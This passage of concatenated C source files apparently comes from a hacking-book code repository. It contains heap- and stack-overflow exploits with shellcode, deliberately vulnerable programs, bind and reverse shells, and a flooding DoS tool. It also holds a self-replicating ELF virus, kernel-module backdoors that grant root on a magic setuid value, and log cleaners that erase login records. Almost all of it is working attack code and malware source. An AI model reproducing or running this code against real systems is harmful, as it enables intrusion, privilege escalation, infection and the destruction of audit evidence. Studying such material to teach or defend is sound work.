"\x33\xc0\x31\xdb\xb0\x17\xcd\x80" 12 | "\x33\xc0\x31\xdb\xb0\x2e\xcd\x80" 13 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" 14 | "\x88\x46\x07\x89\x46\x0c\xb0\x0b" 15 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" 16 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 17 | "\x80\xe8\xdc\xff\xff\xff" 18 | "/bin/sh"; 19 | 20 | int main() 21 | { 22 | char buf[300]; 23 | char *p; 24 | 25 | p = buf; 26 | *((void **)p) = (void *)(GARBAGE); 27 | p += 4; 28 | *((void **)p) = (void *)(GARBAGE); 29 | p += 4; 30 | memcpy(p, shellcode, strlen(shellcode)); 31 | p += strlen(shellcode); 32 | memset(p, 'A', 200 - 2 * 4 - strlen(shellcode)); 33 | p += (200 - 2 * 4 - strlen(shellcode)); 34 | *((size_t *)p) = (size_t)(GARBAGE & ~0x1); 35 | p += 4; 36 | *((size_t *)p) = (size_t)(-4); 37 | p += 4; 38 | *((void **)p) = (void *)(FREE_GOT_ADDRESS - 12); 39 | p += 4; 40 | *((void **)p) = (void *)(RET); 41 | p += 4; 42 | *p = '\0'; 43 | 44 | execl("./heap_vuln", "heap_vuln", buf, 0); 45 | 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /part3/Chapter13/13.4/expl_heap2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define FREE_GOT_ADDRESS 0x080496ec 6 | #define GARBAGE 0x12345678 7 | 8 | char shellcode[]= 9 | "\xeb\x0aXXXXXXXXXX" 10 | "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" 11 | "\x33\xc0\x31\xdb\xb0\x2e\xcd\x80" 12 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" 13 | "\x88\x46\x07\x89\x46\x0c\xb0\x0b" 14 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" 15 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 16 | "\x80\xe8\xdc\xff\xff\xff" 17 | "/bin/sh"; 18 | 19 | int main() 20 | { 21 | char *env[] = {shellcode, NULL}; 22 | char buf[300]; 23 | long ret; 24 | char *p; 25 | 26 | ret = 0xc0000000 - 6 - strlen(shellcode) - strlen("./heap_vuln"); 27 | p = buf; 28 | memset(p, 'A', 200); 29 | p += 200; 30 | *((size_t *)p) = (size_t)(GARBAGE & ~0x1); 31 | p += 4; 32 | *((size_t *)p) = (size_t)(-4); 33 | p += 4; 34 | *((void **)p) = (void *)(FREE_GOT_ADDRESS - 12); 35 | p += 4; 36 | *((void **)p) = (void *)(ret); 37 | p += 4; 38 | *p = '\0'; 39 | 40 | execle("./heap_vuln", "heap_vuln", buf, NULL, env); 41 | 42 | return 0; 43 | } 44 | 45 | -------------------------------------------------------------------------------- /part3/Chapter13/13.4/heap_vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | char *a; 7 | char *b; 8 | 9 | a = malloc(200); 10 | b = malloc(64); 11 | 12 | printf("a = %p, b = %p, b-a = %d\n\n", a, b, b-a); 13 | 14 | strcpy(a, argv[1]); 15 | 16 | printf("a = %s (%d)\n", a, strlen(a)); 17 | printf("b = %s (%d)\n", b, strlen(b)); 18 | 19 | free(a); 20 | free(b); 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /part3/Chapter14/bindport.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int sd; 8 | int cli; 9 | struct sockaddr_in servaddr; 10 | 11 | int main() 12 | { 13 | servaddr.sin_family = AF_INET; 14 | servaddr.sin_addr.s_addr = INADDR_ANY; 15 | servaddr.sin_port = htons(31337); 16 | sd = socket(AF_INET, SOCK_STREAM, 0); 17 | bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)); 18 | listen(sd, 1); 19 | cli = accept(sd, NULL, 0); 20 | dup2(cli, 0); 21 | dup2(cli, 1); 22 | dup2(cli, 2); 23 | execl("/bin/sh", "sh", NULL); 24 | 25 | } 26 | -------------------------------------------------------------------------------- /part3/Chapter14/dos.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | int sd; 12 | int i; 13 | int nbytes; 14 | char *buf; 15 | struct sockaddr_in servaddr; 16 | 17 | if (argc != 4) { 18 | printf("Usage : dos \n\n"); 19 | exit(-1); 20 | } 21 | 22 | nbytes = atoi(argv[3]); 23 | buf = (char*)malloc(nbytes); 24 | 25 | servaddr.sin_family = AF_INET; 26 | servaddr.sin_addr.s_addr = inet_addr(argv[1]); 27 | servaddr.sin_port = htons(atoi(argv[2])); 28 | 29 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 30 | perror("socket() failed"); 31 | exit(-1); 32 | } 33 | 34 | memset(buf, 'A', nbytes); 35 | 36 | if (connect(sd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) { 37 | perror("connect() failed"); 38 | exit(-1); 39 | } 40 | 41 | send(sd, buf, strlen(buf), 0); 42 | 43 | free(buf); 44 | close(sd); 45 | } 46 | -------------------------------------------------------------------------------- /part3/Chapter14/expl_remote.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | char shellcode[] = 10 | /* main: */ 11 | "\xeb\x72" /* jmp line */ 12 | /* start: */ 13 | "\x5e" /* popl %esi */ 14 | /* socket(AF_INET, SOCK_STREAM, 0) */ 15 | "\x31\xc0" /* xorl %eax, %eax */ 16 | "\x89\x46\x10" /* movl %eax, 0x10(%esi) */ 17 | "\x40" /* incl %eax */ 18 | "\x89\xc3" /* movl %eax, %ebx */ 19 | "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ 20 | "\x40" /* incl %eax */ 21 | "\x89\x46\x08" /* movl %eax, 0x08(%esi) */ 22 | "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ 23 | "\xb0\x66" /* movb $0x66, %al */ 24 | "\xcd\x80" /* int $0x80 */ 25 | /* bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) */ 26 | "\x43" /* incl %ebx */ 27 | "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ 28 | "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ 29 | "\x88\x46\x08" /* movb %al, 0x08(%esi) */ 30 | "\x31\xc0" /* xorl %eax, %eax */ 31 | "\x89\xc2" /* movl %eax, %edx */ 32 | "\x89\x46\x18" /* movl %eax, 0x18(%esi) */ 33 | "\xb0\x77" /* movb $0x77, %al */ 34 | "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ 35 | "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ 36 | "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ 37 | "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ 38 | "\xb0\x66" /* movb $0x66, %al */ 39 | "\xcd\x80" /* int $0x80 *//* listen(sd, 1) */ 40 | "\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ 41 | "\x43" /* incl %ebx */ 42 | "\x43" /* incl %ebx */ 43 | "\xb0\x66" /* movb $0x66, %al */ 44 | "\xcd\x80" /* int $0x80 *//* accept(sd, NULL, 0) */ 45 | "\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ 46 | "\x89\x56\x10" /* movl %edx, 0x10(%esi) */ 47 | "\xb0\x66" /* movb $0x66, %al */ 48 | "\x43" /* incl %ebx */ 49 | "\xcd\x80" /* int $0x80 *//* dup2(cli, 0) */ 50 | "\x86\xc3" /* xchgb %al, %bl */ 51 | "\xb0\x3f" /* movb $0x3f, %al */ 52 | "\x31\xc9" /* xorl %ecx, %ecx */ 53 | "\xcd\x80" /* int $0x80 *//* dup2(cli, 1) */ 54 | "\xb0\x3f" /* movb $0x3f, %al */ 55 | "\x41" /* incl %ecx */ 56 | "\xcd\x80" /* int $0x80 *//* dup2(cli, 2) */ 57 | "\xb0\x3f" /* movb $0x3f, %al */ 58 | "\x41" /* incl %ecx */ 59 | "\xcd\x80" /* int $0x80 *//* execl() */ 60 | "\x88\x56\x07" /* movb %dl, 0x07(%esi) */ 61 | "\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ 62 | "\x87\xf3" /* xchgl %esi, %ebx */ 63 | "\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ 64 | "\xb0\x0b" /* movb $0x0b, %al */ 65 | "\xcd\x80" /* int $0x80 */ 66 | /* line: */ 67 | "\xe8\x89\xff\xff\xff" /* call start */ 68 | "/bin/sh"; 69 | 70 | int main(int argc, char *argv[]) 71 | { 72 | char buf[1050]; 73 | long ret; 74 | char *ptr; 75 | long *addr_ptr; 76 | int sd, i; 77 | struct hostent *hp; 78 | struct sockaddr_in remote; 79 | 80 | if(argc != 4) { 81 | fprintf(stderr, "Usage: %s \n", argv[0]); 82 | exit(-1); 83 | } 84 | 85 | ret = strtoul(argv[3], NULL, 16); 86 | 87 | memset(buf, 0x90, 1050); 88 | memcpy(buf+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); 89 | buf[1000] = 0x90; 90 | for(i = 1002; i < 1046; i += 4) { 91 | * ((int *) &buf[i]) = ret; 92 | } 93 | buf[1050] = 0x0; 94 | 95 | if ( (hp = gethostbyname(argv[1])) == NULL) { 96 | herror("gethostbyname() failed"); 97 | exit(-1); 98 | } 99 | 100 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 101 | perror("socket() failed"); 102 | exit(-1); 103 | } 104 | 105 | remote.sin_family = AF_INET; 106 | remote.sin_addr = *((struct in_addr *)hp->h_addr); 107 | remote.sin_port = htons(atoi(argv[2])); 108 | 109 | if (connect(sd, (struct sockaddr *)&remote, sizeof(remote)) == -1) { 110 | perror("connect() failed"); 111 | close(sd); 112 | exit(-1); 113 | } 114 | 115 | send(sd, buf, sizeof(buf), 0); 116 | 117 | close(sd); 118 | } 119 | 120 | -------------------------------------------------------------------------------- /part3/Chapter14/findshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define HACK_PORT 1313 7 | 8 | int main() 9 | { 10 | int i, j; 11 | struct sockaddr_in sin; 12 | 13 | j = sizeof(struct sockaddr_in); 14 | 15 | for(i = 0; i < 256; i++) { 16 | if(getpeername(i, &sin, &j) < 0) 17 | continue; 18 | if(sin.sin_port == htons(HACK_PORT)) 19 | break; 20 | } 21 | 22 | for(j = 0; j < 2; j++) 23 | dup2(j, i); 24 | 25 | execl("/bin/sh", "sh", NULL); 26 | } 27 | -------------------------------------------------------------------------------- /part3/Chapter14/reuseshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int soc, cli; 9 | int sins; 10 | struct sockaddr_in serv_addr; 11 | struct sockaddr_in cli_addr; 12 | 13 | int main() 14 | { 15 | int n_reuse = 200; 16 | sins = 0x10; 17 | if(fork() == 0) 18 | { 19 | serv_addr.sin_family = AF_INET; 20 | serv_addr.sin_addr.s_addr = INADDR_ANY; 21 | serv_addr.sin_port = htons(31337); 22 | soc = socket(AF_INET, SOCK_STREAM, 0); 23 | setsockopt(soc, SOL_SOCKET, SO_REUSEADDR, (char*)&n_reuse, sizeof(n_reuse)) ; 24 | bind(soc, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); 25 | listen(soc, 1); 26 | cli = accept(soc, (struct sockaddr *)&cli_addr, &sins); 27 | dup2(cli, 0); 28 | dup2(cli, 1); 29 | dup2(cli, 2); 30 | execl("/bin/sh", "sh", 0); 31 | close(cli); 32 | exit(0); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /part3/Chapter14/reverseshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int soc,rc; 6 | struct sockaddr_in serv_addr; 7 | 8 | int main() 9 | { 10 | serv_addr.sin_family = AF_INET; 11 | serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 12 | serv_addr.sin_port = htons(666); 13 | soc=socket(AF_INET, SOCK_STREAM, 0); 14 | rc = connect(soc, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 15 | dup2(soc, 0); 16 | dup2(soc, 1); 17 | dup2(soc, 2); 18 | execl("/bin/sh", "sh", 0); 19 | } 20 | -------------------------------------------------------------------------------- /part3/Chapter14/tempshell.c: -------------------------------------------------------------------------------- 1 | int main() 2 | { 3 | asm ("jmp line 4 | start: 5 | popl %esi 6 | 7 | /* socket(AF_INET, SOCK_STREAM, 0) */ 8 | xorl %eax, %eax 9 | movl %eax, 0x10(%esi) 10 | incl %eax 11 | movl %eax, %ebx 12 | movl %eax, 0x0c(%esi) 13 | incl %eax 14 | movl %eax, 0x08(%esi) 15 | leal 0x08(%esi), %ecx 16 | movb $0x66, %al 17 | int $0x80 18 | 19 | /* bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) */ 20 | incl %ebx 21 | movb $0x10, 0x10(%esi) 22 | movw %bx, 0x14(%esi) 23 | movb %al, 0x08(%esi) 24 | xorl %eax, %eax 25 | movl %eax, %edx 26 | movl %eax, 0x18(%esi) 27 | movb $0x77, %al 28 | movw %ax, 0x16(%esi) 29 | leal 0x14(%esi), %ecx 30 | movl %ecx, 0x0c(%esi) 31 | leal 0x08(%esi), %ecx 32 | movb $0x66, %al 33 | int $0x80 34 | 35 | /* listen(sd, 1) */ 36 | movl %ebx, 0x0c(%esi) 37 | incl %ebx 38 | incl %ebx 39 | movb $0x66, %al 40 | int $0x80 41 | 42 | /* accept(sd, NULL, 0) */ 43 | movl %edx, 0x0c(%esi) 44 | movl %edx, 0x10(%esi) 45 | movb $0x66, %al 46 | incl %ebx 47 | int $0x80 48 | 49 | /* dup2(cli, 0) */ 50 | xchgb %al, %bl 51 | movb $0x3f, %al 52 | xorl %ecx, %ecx 53 | int $0x80 54 | 55 | /* dup2(cli, 1) */ 56 | movb $0x3f, %al 57 | incl %ecx 58 | int $0x80 59 | 60 | /* dup2(cli, 2) */ 61 | movb $0x3f, %al 62 | incl %ecx 63 | int $0x80 64 | 65 | /* execl() */ 66 | movb %dl, 0x07(%esi) 67 | movl %esi, 0x0c(%esi) 68 | xchgl %esi, %ebx 69 | leal 0x0c(%ebx), %ecx 70 | movb $0x0b, %al 71 | int $0x80 72 | 73 | line: 74 | call start 75 | .string \"/bin/sh\" 76 | "); 77 | } 78 | -------------------------------------------------------------------------------- /part3/Chapter14/vulnserver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define BUFFER_SIZE 1000 8 | #define NAME_SIZE 2000 9 | 10 | hello_client(int sock) 11 | { 12 | char buf[BUFFER_SIZE]; 13 | char name[NAME_SIZE]; 14 | int nbytes; 15 | 16 | strcpy(buf, "Your name: "); 17 | send(sock, buf, strlen(buf), 0); 18 | 19 | if ( (nbytes = recv(sock, name, sizeof(name), 0)) > 0) { 20 | name[nbytes-1] = '\0'; 21 | sprintf(buf, "Hello %s\r\n", name); 22 | send(sock, buf, strlen(buf), 0); 23 | } 24 | } 25 | 26 | int main(int argc, char *argv[]) 27 | { 28 | int sd; 29 | int clisd; 30 | struct sockaddr_in servaddr; 31 | 32 | if (argc != 2) { 33 | printf("Usage: %s \n", argv[0]); 34 | exit(-1); 35 | } 36 | 37 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 38 | perror("socket() failed"); 39 | exit(-1); 40 | } 41 | 42 | bzero(&servaddr, sizeof(servaddr)); 43 | servaddr.sin_family = AF_INET; 44 | servaddr.sin_addr.s_addr = htonl(INADDR_ANY); 45 | servaddr.sin_port = htons(atoi(argv[1])); 46 | 47 | if (bind(sd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) { 48 | perror("bind() failed"); 49 | exit(-1); 50 | } 51 | 52 | if (listen(sd, 30) != 0) { 53 | perror("listen() failed"); 54 | exit(-1); 55 | } 56 | 57 | for(;;) { 58 | if ( (clisd = accept(sd, NULL, NULL)) < 0) { 59 | perror("accept() failed"); 60 | exit(-1); 61 | } 62 | 63 | hello_client(clisd); 64 | close(clisd); 65 | } 66 | 67 | return 0; 68 | } 69 | -------------------------------------------------------------------------------- /part4/Chapter 16/elfinfector.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define VIRUS_LENGTH 5296 // здесь укажите правильную длину скомпилированного инфектора 9 | #define TMP_FILE "/tmp/body.tmp" 10 | #define MAX_VICTIMS 1 // максимальное число заражаемых файлов за 1 раз 11 | #define INFECTED "Ivan Sklyaroff" // метка зараженного файла 12 | 13 | char *body, *newbody, *virbody; 14 | int fd, len, icount; 15 | struct stat status; 16 | Elf32_Ehdr ehdr; 17 | 18 | 19 | 20 | infect(char *victim) 21 | 22 | { 23 | char belf[4] = {'\x7f','E','L','F'}; 24 | char buf[64]; 25 | 26 | /* считываем ELF-заголовок жертвы */ 27 | fd = open(victim, O_RDWR , status.st_mode); 28 | read(fd, &ehdr,sizeof(ehdr)); 29 | 30 | /* проверяем является ли жертва исполняемым ELF-файлом */ 31 | if (strncmp(ehdr.e_ident, belf, 4) != 0) 32 | return; // выходим из функции, если жертва не ELF-файл 33 | if (ehdr.e_type != ET_EXEC) 34 | return; // выходим из функции, если жертва не исполняемый файл 35 | 36 | /* читаем тело жертвы и сохраняем его в буфер */ 37 | fstat(fd, &status); 38 | lseek(fd, 0, SEEK_SET); 39 | newbody = malloc(status.st_size); 40 | read(fd, newbody, status.st_size); 41 | 42 | /* считываем в конце тела жертвы метку зараженного файла */ 43 | lseek(fd, status.st_size - sizeof(INFECTED), SEEK_SET); 44 | 45 | read(fd, &buf, sizeof(INFECTED)); 46 | 47 | /* если метка присутствует, то следовательно файл уже заражен, 48 | поэтому выходим из функции */ 49 | if (strncmp(buf, INFECTED, sizeof(INFECTED)) == 0) 50 | return; 51 | 52 | /* записываем тело вируса в начало файла */ 53 | lseek(fd, 0, SEEK_SET); 54 | write(fd, virbody, VIRUS_LENGTH); 55 | /* после записываем тело жертвы */ 56 | write(fd, newbody, status.st_size); 57 | /* в конце вставляем метку зараженного файла */ 58 | write(fd, INFECTED, sizeof(INFECTED)); 59 | close(fd); 60 | // закрываем зараженный файл 61 | 62 | icount++; 63 | // увеличиваем счетчик зараженных файлов 64 | 65 | printf("%s infected!\n", victim); 66 | } 67 | 68 | 69 | 70 | find_victim() 71 | 72 | { 73 | DIR *dir_ptr; 74 | 75 | struct dirent *d; 76 | char dir[100]; 77 | 78 | getcwd(dir, 100); // получаем текущую директорию 79 | dir_ptr = opendir(dir); 80 | // открываем текущую директорию 81 | 82 | /* читаем пока есть элементы (файлы) */ 83 | while (d = readdir(dir_ptr)) 84 | { 85 | if (d->d_ino != 0) { 86 | if (icount < MAX_VICTIMS) // проверяем счетчик заражений 87 | infect(d->d_name); // вызываем функцию заражения 88 | } 89 | } 90 | } 91 | 92 | 93 | int main(int argc, char *argv[], char **envp) 94 | 95 | { 96 | /* открываем сами себя и вычисляем длину */ 97 | fd = open(argv[0], O_RDONLY); 98 | fstat(fd, &status); 99 | 100 | 101 | 102 | lseek(fd, 0, 0); 103 | 104 | 105 | /* читаем свое тело и сохраняем его в буфер */ 106 | virbody = malloc(VIRUS_LENGTH); 107 | read(fd, virbody, VIRUS_LENGTH); 108 | 109 | /* проверяем свою длину */ 110 | if (status.st_size != VIRUS_LENGTH) 111 | { 112 | 113 | /* запущен зараженный файл, поэтому 114 | отделяем тело оригинальной программы от инфектора */ 115 | len = status.st_size - VIRUS_LENGTH; 116 | 117 | 118 | 119 | lseek(fd, VIRUS_LENGTH, 0); 120 | body = malloc(len); 121 | read(fd, body, len); 122 | close(fd); 123 | 124 | /* сохраняем тело оригинальной программы в промежуточный файл */ 125 | fd = open(TMP_FILE, O_RDWR|O_CREAT|O_TRUNC, status.st_mode); 126 | write(fd, body, len); 127 | close(fd); 128 | /* запускаем оригинальную программу на выполнение */ 129 | if (fork() == 0) wait(); 130 | else execve(TMP_FILE, argv, envp); 131 | /* удаляем промежуточный файл */ 132 | unlink(TMP_FILE); 133 | } 134 | 135 | /* поиск жертвы и ее заражение */ 136 | find_victim(); 137 | 138 | 139 | /* выходим из инфектора */ 140 | close(fd); 141 | exit(0); 142 | 143 | 144 | } 145 | 146 | 147 | -------------------------------------------------------------------------------- /part4/Chapter 17/worm_src_tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dreddsa5dies/hackUtils/a78d2ccad535aae8ab7a6d80e9aa848bc956981c/part4/Chapter 17/worm_src_tar.gz -------------------------------------------------------------------------------- /part5/Chapter 18/bdmod-2.c: -------------------------------------------------------------------------------- 1 | /* Module backdoor for Linux 2.6.x */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | MODULE_LICENSE ("GPL"); 9 | 10 | unsigned long *sys_call_table; 11 | int (*orig_setuid)(uid_t); 12 | 13 | int change_setuid(uid_t uid) 14 | { 15 | if (uid == 31337) 16 | { 17 | current->uid = 0; 18 | current->euid = 0; 19 | current->gid = 0; 20 | current->egid = 0; 21 | return 0; 22 | } 23 | return (*orig_setuid)(uid); 24 | } 25 | 26 | int init_module(void) 27 | { 28 | *(long *)&sys_call_table = 0xc03ce760; 29 | orig_setuid = (void *)xchg(&sys_call_table[__NR_setuid32], change_setuid); 30 | 31 | return 0; 32 | } 33 | 34 | void cleanup_module(void) 35 | { 36 | xchg(&sys_call_table[__NR_setuid32], orig_setuid); 37 | } 38 | -------------------------------------------------------------------------------- /part5/Chapter 18/bdmod-3.c: -------------------------------------------------------------------------------- 1 | /* Module backdoor for Linux 2.6.x */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | MODULE_LICENSE ("GPL"); 8 | 9 | unsigned long* sys_call_table; 10 | int (*orig_setuid)(uid_t); 11 | 12 | void find_sys_call_table(void) 13 | { 14 | int i; 15 | unsigned long *ptr; 16 | unsigned long arr[4]; 17 | ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); 18 | while((unsigned long)ptr < (unsigned long)init_mm.end_data) { 19 | if (*ptr == (unsigned long)((unsigned long *)sys_close)) { 20 | for(i = 0; i < 4; i++) { 21 | arr[i] = *(ptr + i); 22 | arr[i] = (arr[i] >> 16) & 0x0000ffff; 23 | } 24 | if(arr[0] != arr[2] || arr[1] != arr[3]) { 25 | sys_call_table = (ptr - __NR_close); 26 | break; 27 | } 28 | } 29 | ptr++; 30 | } 31 | } 32 | 33 | int change_setuid(uid_t uid) 34 | { 35 | if (uid == 31337) 36 | { 37 | current->uid = 0; 38 | current->euid = 0; 39 | current->gid = 0; 40 | current->egid = 0; 41 | return 0; 42 | } 43 | return (*orig_setuid)(uid); 44 | } 45 | 46 | int init_module(void) 47 | { 48 | find_sys_call_table(); 49 | orig_setuid = (void *)sys_call_table[__NR_setuid32]; 50 | sys_call_table[__NR_setuid32] = (unsigned long)change_setuid; 51 | return 0; 52 | } 53 | 54 | void cleanup_module(void) 55 | { 56 | sys_call_table[__NR_setuid32] = (unsigned long)orig_setuid; 57 | } 58 | -------------------------------------------------------------------------------- /part5/Chapter 19/logclean1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define UTMP_FILE "/var/run/utmp" 12 | #define WTMP_FILE "/var/log/wtmp" 13 | #define BTMP_FILE "/var/log/btmp" 14 | #define LASTLOG_FILE "/var/log/lastlog" 15 | #define MESSAGES_FILE "/var/log/messages" 16 | #define MAXBUFF 8*1024 17 | 18 | clear_info(char *name_file, char *info) 19 | { 20 | char buffer[MAXBUFF]; 21 | FILE *lin; 22 | int i; 23 | char *ukaz; 24 | char *token; 25 | char pusto[200]; 26 | 27 | for (i = 0; i < 200; i++) pusto[i] = ' '; 28 | 29 | if ( (lin = fopen(name_file, "r+")) == 0) { 30 | perror(name_file); 31 | exit(-1); 32 | } 33 | 34 | while (fgets(buffer, MAXBUFF, lin) != NULL) 35 | { 36 | if ( (ukaz = strstr(buffer, info) ) != 0) { 37 | fseek (lin, ftell(lin) - strlen(ukaz), SEEK_SET); 38 | token = strtok(ukaz, " "); 39 | strncpy(token, pusto, strlen(token)); 40 | fputs(token, lin); 41 | } 42 | } 43 | 44 | fclose(lin); 45 | } 46 | 47 | dead_messages(char *name_file, char *username, char *tty, char *ip, char *hostname) 48 | { 49 | clear_info(name_file, username); 50 | clear_info(name_file, tty); 51 | 52 | if (ip != NULL) clear_info(name_file, ip); 53 | if (hostname != NULL) clear_info(name_file, hostname); 54 | } 55 | 56 | dead_uwbtmp(char *name_file, char *username, char *tty) 57 | { 58 | struct utmp pos; 59 | int fd; 60 | 61 | if ( (fd = open(name_file, O_RDWR)) == -1) { 62 | perror(name_file); 63 | return; 64 | } 65 | 66 | while (read(fd, &pos, sizeof(struct utmp)) > 0) 67 | { 68 | if ( (strncmp(pos.ut_name, username, sizeof(pos.ut_name)) == 0) && 69 | (strncmp(pos.ut_line, tty, sizeof(pos.ut_line)) == 0) ) { 70 | bzero(&pos, sizeof(struct utmp)); 71 | if (lseek(fd, -sizeof(struct utmp), SEEK_CUR) != -1) 72 | write(fd, &pos, sizeof(struct utmp)); 73 | } 74 | } 75 | 76 | close(fd); 77 | } 78 | 79 | dead_lastlog(char *name_file, char *username) 80 | { 81 | struct passwd *pwd; 82 | struct lastlog pos; 83 | int fd; 84 | 85 | if ( (pwd = getpwnam(username)) != NULL) 86 | { 87 | if ( (fd = open(name_file, O_RDWR)) == -1) { 88 | perror(name_file); 89 | return; 90 | } 91 | 92 | lseek(fd, (long)pwd->pw_uid * sizeof(struct lastlog), SEEK_SET); 93 | bzero((char *)&pos, sizeof(struct lastlog)); 94 | write(fd, (char *)&pos, sizeof(struct lastlog)); 95 | close(fd); 96 | } 97 | } 98 | 99 | int main(int argc, char *argv[]) 100 | { 101 | char *username; 102 | char *tty; 103 | char *ip; 104 | char *hostname; 105 | 106 | if ((argc < 3) || (argc > 5)) { 107 | printf ("Usage: %s [IP] [hostname]\n\n", argv[0]); 108 | exit(-1); 109 | } 110 | 111 | fprintf(stderr, "========================================\n"); 112 | fprintf(stderr, "= Log-cleaner by Ivan Sklyaroff, 2006. =\n"); 113 | fprintf(stderr, "========================================\n"); 114 | 115 | username = argv[1]; 116 | tty = argv[2]; 117 | ip = (argc > 3) ? argv[3] : NULL; 118 | hostname = (argc > 4) ? argv[4] : NULL; 119 | 120 | dead_uwbtmp(UTMP_FILE, username, tty); 121 | printf("utmp ok!\n"); 122 | dead_uwbtmp(WTMP_FILE, username, tty); 123 | printf("wtmp ok!\n"); 124 | dead_uwbtmp(BTMP_FILE, username, tty); 125 | printf("btmp ok!\n"); 126 | dead_lastlog(LASTLOG_FILE, username); 127 | printf("lastlog ok!\n"); 128 | dead_messages(MESSAGES_FILE, username, tty, ip, hostname); 129 | printf("messages ok!\n"); 130 | 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /part5/Chapter 19/logclean2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define UTMP_FILE "/var/run/utmp" 12 | #define WTMP_FILE "/var/log/wtmp" 13 | #define BTMP_FILE "/var/log/btmp" 14 | #define LASTLOG_FILE "/var/log/lastlog" 15 | #define MESSAGES_FILE "/var/log/messages" 16 | #define MAXBUFF 8*1024 17 | 18 | copy_tmp(char *name_file) 19 | { 20 | char buffer[100]; 21 | 22 | sprintf(buffer, "cat ftmp > %s ; rm -f ftmp", name_file); 23 | printf("%s\n", buffer); 24 | 25 | if (system(buffer) < 0) { 26 | printf("Error!"); 27 | exit(-1); 28 | } 29 | } 30 | 31 | dead_messages(char *name_file, char *username, char *tty, char *ip, char *hostname) 32 | { 33 | char buffer[MAXBUFF]; 34 | char buftmp[100]; 35 | FILE *fd; 36 | FILE *fdtmp; 37 | 38 | if ( (fd = fopen(name_file, "r")) == 0) { 39 | perror(name_file); 40 | exit(-1); 41 | } 42 | 43 | if ( (fdtmp = fopen("ftmp", "w")) == 0) { 44 | perror(name_file); 45 | exit(-1); 46 | } 47 | 48 | while (fgets(buftmp, MAXBUFF, fd) != NULL) 49 | { 50 | if ( (strstr(buftmp, username) ) || 51 | (strstr(buftmp, tty) ) ) 52 | continue; 53 | 54 | if (ip) 55 | if (strstr(buftmp, ip) ) continue; 56 | 57 | if (hostname) 58 | if (strstr(buftmp, hostname) ) continue; 59 | 60 | fputs(buftmp, fdtmp); 61 | } 62 | 63 | fclose(fd); 64 | fclose(fdtmp); 65 | 66 | copy_tmp(name_file); 67 | } 68 | 69 | dead_uwbtmp(char *name_file, char *username, char *tty) 70 | { 71 | struct utmp pos; 72 | int fd; 73 | int fdtmp; 74 | 75 | if ( (fd = open(name_file, O_RDONLY)) == -1) { 76 | perror(name_file); 77 | return; 78 | } 79 | 80 | fdtmp = open("ftmp", O_WRONLY | O_CREAT); 81 | 82 | while (read(fd, &pos, sizeof(struct utmp)) > 0) 83 | { 84 | if ( (!strncmp(pos.ut_name, username, sizeof(pos.ut_name))) && 85 | (!strncmp(pos.ut_line, tty, sizeof(pos.ut_line))) ) 86 | continue; 87 | 88 | write(fdtmp, &pos, sizeof(struct utmp)); 89 | } 90 | 91 | close(fd); 92 | close(fdtmp); 93 | 94 | 